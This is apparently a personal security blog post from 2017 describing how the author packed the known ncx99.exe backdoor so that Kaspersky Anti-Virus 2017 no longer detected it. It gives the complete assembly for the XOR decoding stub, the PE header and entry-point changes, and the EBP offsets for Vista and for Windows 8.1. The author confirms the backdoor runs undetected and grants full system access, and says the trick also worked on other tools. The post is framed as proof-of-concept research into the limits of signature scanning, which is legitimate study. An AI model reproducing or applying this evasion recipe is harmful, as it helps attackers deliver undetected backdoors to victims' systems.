About me and this Blog

Sunday, 6 August 2017

Bypassing Kaspersky 2017 AV by XOR encoding known malware with a twist


One thing that I haven't had a really good look at, coming from a non-pentesting background, is how to avoid anti-virus scanners; so here is my first serious dive into it.

I suspect to most this isn't anything new to experienced testers. Given the limitations of even “smart” anti-virus products, this type of issue is expected and will not be limited to any one AV vendor.

Nevertheless, I was curious to find out how easy it is to out-smart an intelligent scanner in order to get known malware past the scanner. Short answer; surprisingly easy.

The setup is a Windows Vista and Windows 8.1 VM running Kaspersky Anti-Virus 2017 with updates applied. The scanner was set to High (max protection), Heuristic Analysis set to Deep scan, and the iSwift and iChecker Technology enabled.

The malware is the venerable ncx99.exe. Others have tried xor encoders and many other variants to bypass the scanner, without success. So I thought I would take a different approach to find something missing from the emulator used to get malware to unpack and expose itself; finding that glitch in the Matrix.

I won't cover basic XOR encoders here; Google is your friend if you wish to know.

Upon starting ncx99.exe in a debugger we notice the following at the program entry point:

EAX 772AD3B7 kernel32.BaseThreadInitThunk
EDX 00404C00 ncx99-or.<ModuleEntryPoint>
ESP 0012FF8C
EBP 0012FF94
EIP 00404C00 ncx99-or.<ModuleEntryPoint>

The top of the stack looks like this:

0012FF8C   772AD3C9  RETURN to kernel32.772AD3C9
0012FF90   7FFD5000
0012FF94  /0012FFD4

It turns out that the delta between ESP and EBP is always the same (at least on my Vista VM; a little more on that later).

So let’s reference the XOR encoder and base address indirectly based on the designed functionality of the stack rather than computing it in the program. This way the emulator needs to already be aware of this relationship; so is it? (I suspect you already know the answer!)

First, I modify the PE Header in the file to point to a new code cave:

I created a new section with a base address of 0x13000 and size 0x1000. The exe is increased with null bytes by 0x1000 to accommodate this section. I then modify the Program Entry Point from 0x404c00 (in .text) to 0x413000 (in the new section) and ensure that .text is writeable.

Back in the debugger I then create the following stub and save a new copy of the executable with these changes:

00413000 > 60               PUSHAD
00413001   9C               PUSHFD
00413002   BB EA7ACE39      MOV EBX,39CE7AEA              # XOR key
00413007   53               PUSH EBX
00413008   BB 00104000      MOV EBX,ncx99-ne.00401000     # Base addr for xor
0041300D   53               PUSH EBX
0041300E   8B45 D0          MOV EAX,DWORD PTR SS:[EBP-30] # get xor key
00413011   8B55 CC          MOV EDX,DWORD PTR SS:[EBP-34] # get base addr
00413014   83EA 04          SUB EDX,4
00413017   83C2 04          ADD EDX,4
0041301A   3102             XOR DWORD PTR DS:[EDX],EAX    # enc/dec dword
0041301C   83C2 05          ADD EDX,5
0041301F   4A               DEC EDX
00413020   81FA 6CA74000    CMP EDX,ncx99-ne.0040A76C     # loc of last dword
00413026  ^7E F2            JLE SHORT ncx99-ne.0041301A
00413028   58               POP EAX
00413029   58               POP EAX
0041302A   9D               POPFD
0041302B   61               POPAD
0041302C  -E9 CF1BFFFF      JMP ncx99-ne.00404C00         # Execute orig code

The key trick is that we are pushing the key and base address on the stack at 00413007 and 0041300D, but then referencing them using EBP at 0041300E and 00413011 (without ever referencing or setting EBP beforehand; we just know it gets set up like this by the OS).

So in the case of Vista, we have 8 bytes followed by 32 bytes from the pushad and 4 bytes from the pushfd; total 44 bytes (0x2C). So adding a dword to the stack gives an offset from EBP of 0x30 and a further dword gives 0x34.

Next, we do the usual break on 00413028 (just after the encoder) and run the program to encode .text. We then save the changes made between 00401000 and 0040A76C (we are working on DWORDs). This new file, when run, will decode .text and then run the decoded contents.

Passing through the AV shows no issues. Running it creates a listener on 99/tcp which we can connect to in order to get full system access. Success.


 Next, I thought I would test the ability of the AV to figure out known offsets. So rather than the non-explicit connection between ESP and EBP, lets rewrite it to see if the emulator is stack-aware.

I change the EBP offsets to the following; correcting the stub offsets accordingly:

0041300E   8B4424 04        MOV EAX,DWORD PTR SS:[ESP+4]
00413012   8B1424           MOV EDX,DWORD PTR SS:[ESP]

This time the AV detects that it is ncx99; so it looks like the emulator in the AV is stack aware.


Finally, I decided to test the approach on Windows 8.1. In this case the stack is a bit different on entry, but the delta is still consistent across reboots.

ESP 0013FF84
EBP 0013FF94

0013FF84   76444198  RETURN to KERNEL32.76444198
0013FF88   7FFDF000
0013FF8C   76444170  KERNEL32.BaseThreadInitThunk
0013FF90   F5EE812D
0013FF94  /0013FFDC

A simple adjustment to the relative offsets from EBP yields success:

0041300E   8B45 C8          MOV EAX,DWORD PTR SS:[EBP-38]
00413011   8B55 C4          MOV EDX,DWORD PTR SS:[EBP-3C]

i.e. a functional malware that is known to the AV product but not detected by it.

This code can probably be simplified (some null actions, etc, from previous tweaks) and made version agnostic; but I will leave that as an exercise for the reader as this was only meant to be a PoC.

I also tried this technique (but using some spare space at the end of the .text section) on some other programs including netpass.exe and all became undetectable by the AV file scanner. Yey.

The take for me is that signature based detection is good for low-hanging fruit; stuff that is already known or similar. However, once you start customising stuff it can rapidly lose its effectiveness. Sometimes that customisation may only need to be a simple tweak, as in this example.

Update: Uploaded to virustotal and now detection is slowly growing; though a few major vendors including Kaspersky still don't detect it. You can see the sample here